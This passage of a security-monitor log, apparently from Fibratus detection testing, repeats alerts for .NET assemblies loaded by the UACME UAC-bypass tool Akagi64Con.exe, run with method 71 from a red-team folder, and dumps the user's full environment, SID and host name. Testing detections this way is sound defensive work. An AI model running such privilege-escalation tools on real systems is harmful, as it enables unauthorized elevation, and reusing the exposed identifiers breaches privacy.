USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1673988 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1333593 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe, image_size➜ 147456, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1673988 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1333593 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PerfWatson2\8998368ba5c1831b2db76cfb187b85a4\PerfWatson2.ni.exe, image_size➜ 147456, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:24+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1674048 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.1380137 +0100 CET + Params: base_address➜ 7ffb3fe80000, checksum➜ 0, default_address➜ 7ffb3fe80000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\PSHOST\77e112fb3705a1f6f05cdcc6e9477b45\PSHOST.ni.exe, image_size➜ 2711552, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows 